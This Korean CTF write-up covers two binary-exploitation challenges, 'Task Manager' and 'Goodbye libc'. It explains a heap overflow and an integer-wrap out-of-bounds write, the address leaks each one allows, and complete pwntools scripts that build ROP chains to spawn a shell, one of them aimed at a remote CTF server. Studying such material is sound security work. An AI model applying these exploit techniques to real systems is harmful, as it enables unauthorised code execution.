Task Manager
취약점 분석
1. Heap Buffer Overflow in create_tasks()
read(0, temp->task, 88); // task 필드는 80바이트인데 88바이트 읽음Tasks 구조체는 task[80] + next*(8바이트) 로 구성되어 있어, 88바이트를 읽으면 next 포인터를 8바이트 덮어쓸 수 있다.
typedef struct Tasks {
char task[80];
struct Tasks* next; // ← 이 포인터를 overflow로 덮어씀
} Tasks;2. 정보 유출 흐름
next 포인터를 원하는 주소로 덮고, 다음 태스크 생성 시 temp->task로 해당 주소의 내용을 출력 → 임의 주소 읽기 (AAR)
Exploit 과정
Step 1: Heap Leak
- 태스크 1개 생성 후 80바이트 출력 → 힙 포인터 노출
heap_base = leak - 0x360
Step 2: Stack Leak
next포인터를chunk_0(힙 내TaskHead구조체 위치)로 덮음TaskHead->head는tasks변수의 스택 주소 → 스택 주소 유출
Step 3: Libc Leak
next포인터를main_ret_addr(stack + 0xb0)로 덮음main()의 리턴 주소 = libc 내부 주소 → libc base 계산
Step 4: ROP으로 쉘 획득
-
next포인터를read()리턴 주소 (stack - 0x10)로 덮음 -
ROP 페이로드 작성:
ret ← 스택 정렬 pop rdi ; ret /bin/sh 주소 (libc) system() 주소 (libc) -
create_tasks()의read()리턴 시 페이로드 실행 → 쉘 획득
Exploit Code
#!/usr/bin/env python3
from pwn import *
exe = ELF("task-manager_patched")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")
context.binary = exe
context.log_level = 'info'
def conn():
r = process([exe.path])
return r
def debug():
gdb.attach(r, gdbscript='''
b malloc
b free
c
''')
pause()
def cre_task(task):
r.sendlineafter(b'input: ', b'1')
r.sendafter(b': ', task)
def pri_task():
r.sendlineafter(b'input: ', b'2')
r.recvuntil(b'order:\n\n')
data = r.recvuntil(b'\n\n').strip()
# log.info(f'data: {data}')
return data
def main():
name = b'F'*40
r.sendafter(b': ', name)
# leak heap
cre_task(b'A'*80)
data = u64(pri_task()[0x59:0x5f].ljust(8, b'\x00'))
heap_base = data - 0x360
log.success(f'heap base: {hex(heap_base)}')
# leak stack
chunk_0 = heap_base+0x2a0
log.success(f'chunk 0: {hex(chunk_0)}')
cre_task(b'B'*80 + p64(chunk_0)) # overwrite next pointer to chunk_0
cre_task(b'C'*8)
r.recvuntil(b'entered: '+b'C'*8)
stack = u64(r.recv(6).ljust(8, b'\x00'))
log.success(f'stack leak: {hex(stack)}')
# leak libc
main_ret_addr = stack + 0xb0
log.info(f'main function return address: {hex(main_ret_addr)}')
cre_task(b'D'*80 + p64(main_ret_addr)) # overwrite next pointer to main_ret_addr
cre_task(b'\x4a')
r.recvuntil(b'entered: ')
libc_leak = u64(r.recv(6).ljust(8, b'\x00'))
log.info(f'libc leak: {hex(libc_leak)}')
# libc.address = libc_leak - 0x124a
libc.address = libc_leak -0x2724a
log.success(f'libc base: {hex(libc.address)}')
# overwrite read return address with rop payload
pop_rdi_ret = libc.address + 0x00000000000277e5
ret = pop_rdi_ret + 1
binsh = libc.address + 0x197031
system = libc.sym.system
payload = flat(
ret,
pop_rdi_ret,
binsh,
system
)
read_ret_addr = stack - 0x10
log.info(f'read() return address: {hex(read_ret_addr)}')
cre_task(b'E'*80 + p64(read_ret_addr)) # overwrite next pointer to read_ret_addr
# debug()
cre_task(payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
r = conn()
main()Goodbye libc
취약점 분석
정수 오버플로우 in input_index()
input_index()는 입력값을 int choice에 받아 아래와 같이 검사한다.
if (choice <= 3 && choice >= -2) {
return choice - 1;
}32비트 int의 wrap-around 특성 때문에, 충분히 큰 십진수를 입력하면 실질적으로 음수 인덱스가 된다.
| 입력값 | 실제 인덱스 |
|---|---|
1 | 0 |
2 | 1 |
3 | 2 |
0 | -1 |
4294967295 | -2 |
4294967294 | -3 |
WRITE_NUM 음수 인덱스 검증 미흡
WRITE_NUM 분기는 index == -1 같은 별도의 경계 검사 없이 곧바로 write_num(&nums[index])를 호출한다.
case WRITE_NUM:
print("Select index to write to [1-3]: ");
index = input_index();
write_num(&nums[index]);
break;따라서 nums[-1], nums[-2], nums[-3]에 임의 값을 쓸 수 있다.
nums의 스택 레이아웃
초기 leak으로 얻는 stk는 _start의 rbp 값이다. 이를 기준으로 nums의 위치를 정리하면 다음과 같다.
nums[0] = stk - 0x38
nums[1] = stk - 0x30
nums[2] = stk - 0x28
nums[-1] = stk - 0x40
nums[-2] = stk - 0x48 ← 코드 주소 (PIE leak)
nums[-3] = stk - 0x50 ← saved rbp (stack leak)
음수 인덱스가 리턴 주소, saved rbp, 그리고 다음 stage용 스택 슬롯과 겹친다는 것이 이후 단계의 핵심이다.
Exploit 과정
Step 1: PIE base & stack leak
leak = pri(2**32 - 1) # nums[-2] → 코드 영역 주소
exe.address = leak - 0x1CBD # PIE base 계산
stack = pri(2**32 - 2) # nums[-3] → _start의 rbp두 번의 OOB read만으로 PIE base와 stack 주소를 모두 확보한다.
Step 2: exit@got leak & libbye-libc.so base 계산
write_num()의 리턴 주소를 input_num+8(아래 read() 직전 코드)로 덮어, 함수가 반환될 때 루프로 복귀하는 대신 read() 코드로 진입하게 만든다.
; input_num+8 (READ_CODE)
0x12a6: lea rax, [rbp-0x4c]
0x12aa: mov edx, 0x40
0x12af: mov rsi, rax
0x12b2: mov edi, 0
0x12b7: call read@plt여기서 버퍼 시작 주소는 [rbp-0x4c]이고, call read가 push하는 복귀 주소는 [rbp-0x48]에 놓인다. 즉 버퍼와 read()의 리턴 주소가 8바이트만큼 겹친다.
따라서 우리가 보내는 64바이트 payload는 버퍼 데이터이면서 동시에 read() 이후 실행될 ROP 체인이기도 하다.
Phase 1 payload
READ_CODE = exe.address + 0x12a6
rop = b'\x00' * 4
rop += p64(exe.address + 0x1440) # pop rbp ; ret
rop += p64(stack - 0x28) # 새 rbp
rop += p64(exe.address + 0x1330) # mov rax, [rbp-8] ; jmp leave;ret
rop += p64(exe.got.exit) # [stack-0x30]에 위치할 값
rop += p64(stack) # leave가 복구할 rbp
rop += p64(exe.address + 0x1cd3) # mov rsi,rax ; mov edi,1 ; call write@plt실행 순서를 따라가면 다음과 같다.
wri(-2, READ_CODE)—write_num()의 리턴 주소를READ_CODE로 교체- 다음
read()가 payload를 수신하면서 자신의 복귀 주소를pop rbp ; ret으로 덮음 pop rbp ; ret→rbp = stack-0x28mov rax, [rbp-8]→rax = [stack-0x30] = exit@gotleave ; ret→rbp = stack0x1cd3진입 →rsi = rax,edi = 1,edx = 64- 결과적으로
write(1, exit@got, 64)실행
스크립트에서는 leak된 앞 6바이트를 파싱해 libbye-libc.so base를 계산한다.
leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.exitStep 3: index 3 trick으로 rbp 재정렬
Phase 1이 끝난 직후, 최종 payload를 보내기 전에 한 가지 준비가 필요하다.
wri(3, stack + 0x28)이 쓰기 동작은 현재 write_num() 호출이 끝날 때 saved rbp가 stack+0x28이 되도록 설정한다. 이후 호출에서 필요한 스택 슬롯들이 원하는 위치에 오게 되고, nums[-2]로 실제 리턴 슬롯을 다시 덮을 수 있게 된다.
Step 4: pop_rdx → READ_CODE` 체인 구성
주변 슬롯을 미리 채운다.
wri(0, 0) # pop_rdx가 소비할 값
wri(1, input_num) # 다음 ret의 목적지 = READ_CODE
wri(2, 2) # dummy그리고 현재 write_num()의 리턴 주소를 pop_rdx로 덮는다.
wri(2**32-1, pop_rdx)함수 반환 이후의 흐름은 다음과 같다.
ret → pop_rdx → ret → READ_CODE
왜 바로 READ_CODE로 가지 않는가?
직접 진입하면 마지막 read()가 복귀할 때 필요한 두 슬롯(saved rbp와 return address) 중 하나가 버퍼 바깥에 위치해 체인이 불안정해진다. pop_rdx ; ret을 한 번 거치면 rsp가 0x10바이트 앞으로 진행된 상태로 READ_CODE에 진입하게 된다. 그 결과 마지막 read()가 끝난 뒤 사용할 두 슬롯이 모두 버퍼 안으로 들어오고, 최종 payload가 둘 다 덮을 수 있다.
즉 여기서 pop_rdx는 rdx 값 설정보다 스택 정렬용 가젯으로서의 역할이 더 크다.
Step 5: 59바이트 최종 payload
binsh = stack - 0x24
rop = b'/bin/sh\x00'
rop += b'EEEEEEEEFFFF'
rop += p64(pop_rdi_rsi_rdx)
rop += p64(binsh)
rop += p64(0)
rop += p64(0)
rop += p64(syscall)[0:7]/bin/sh\x00 문자열은 마지막 read()의 버퍼 시작 위치, 즉 stack-0x24에 착지한다.
왜 payload를 정확히 59바이트로 맞추는가?
이 바이너리에는 pop rax ; ret 같은 편한 가젯이 없다. 대신 read()는 실제로 읽은 바이트 수를 rax에 반환한다. Linux x86-64에서 execve의 syscall 번호가 59이므로, payload 길이를 정확히 59바이트로 맞추면 rax = 59가 자연스럽게 세팅된다.
왜 syscall 주소를 7바이트만 쓰는가?
payload 길이를 59바이트로 유지하기 위해 마지막 1바이트를 제거한다.
rop += p64(syscall)[0:7]최종 레지스터 상태는 다음과 같다.
| 레지스터 | 값 |
|---|---|
rax | 59 (execve syscall 번호) |
rdi | /bin/sh 문자열 주소 |
rsi | 0 |
rdx | 0 |
Exploit Code
#!/usr/bin/env python3
import re
from pwn import *
exe = ELF("./goodbye-libc_patched")
libc = ELF("./libbye-libc.so")
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
context.binary = exe
context.log_level = 'info'
def conn():
if args.LOCAL:
r = process([exe.path])
return r
return remote("streams.tamuctf.com", 443, ssl=True, sni="goodbye-libc")
def wri(index, value):
r.sendlineafter(b'Enter input: ', b"1")
r.sendlineafter(b'Select index to write to [1-3]: ', str(index).encode())
r.sendlineafter(b'Select value to write: ', str(value).encode())
def pri(index):
r.sendlineafter(b'Enter input: ', b"6")
r.sendlineafter(b'Select index to read from [1-3]: ', str(index).encode())
r.recvuntil(b"Value written: ")
return int(r.recvline().strip())
def debug():
gdb.attach(r, """
b *input_num+8
b *input_num+25
c
""")
pause()
def main():
wri(1, 1)
wri(2, 2)
wri(3, 3)
# leak pie base address
leak = pri(2**32-1)
exe.address = leak - 0x1CBD
log.info(f"PIE base: {hex(exe.address)}")
# leak stack
stack = pri(2**32-2)
log.info(f"stack leak: {hex(stack)}")
stack_28 = stack - 0x28
log.info(f"stack-0x28 address: {hex(stack_28)}")
# leak libc
input_num = exe.address + 0x12a6
rop = b'\x00'*4
rop += p64(exe.address + 0x1440) # pop rbp; ret
rop += p64(stack_28) # stack-0x28 -> rbp
rop += p64(exe.address + 0x1330) # mov rax, qword ptr [rbp - 8] ; leave ; ret
rop += p64(exe.got.exit) # got_exit -> [rbp - 8]
rop += p64(stack) # stack
rop += p64(exe.address + 0x1cd3) # exe+0x1cd3 = _start+1927 = mov rsi,rax; mov edi,0x1; call write@plt
# rop = rop.ljust(64, b'\x00')
wri(2**32-1, input_num)
r.send(rop)
leak = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym.exit
log.info(f"libc base: {hex(libc.address)}")
# rop to execve("/bin/sh", 0, 0)
pop_rdx = libc.address + 0x1041 # pop rdx; ret
wri(3, stack+0x28) # revoke rbp
wri(0, 0)
wri(1, input_num)
wri(2, 2)
wri(2**32-1, pop_rdx)
time.sleep(1)
# pause()
rop = b'/bin/sh\x00'
rop += b'EEEEEEEEFFFF'
# execve("/bin/sh", 0, 0)
binsh = stack - 0x24
pop_rdi_rsi_rdx = libc.address + 0x103f # pop rdi; pop rsi; pop rdx; ret
syscall = libc.address + 0x1039 # syscall; ret
log.info(f"syscall address : {hex(syscall)}")
rop += p64(pop_rdi_rsi_rdx) # -> read function return address
rop += p64(binsh) # "/bin/sh\x00" -> rdi
rop += p64(0) # rsi = 0
rop += p64(0) # rdx = 0
rop += p64(syscall)[0:7] # syscall; ret / use only 7 bytes to make payload length 59
log.info(f"len of rop payload : {len(rop)}")
r.send(rop)
r.interactive()
if __name__ == "__main__":
r = conn()
main()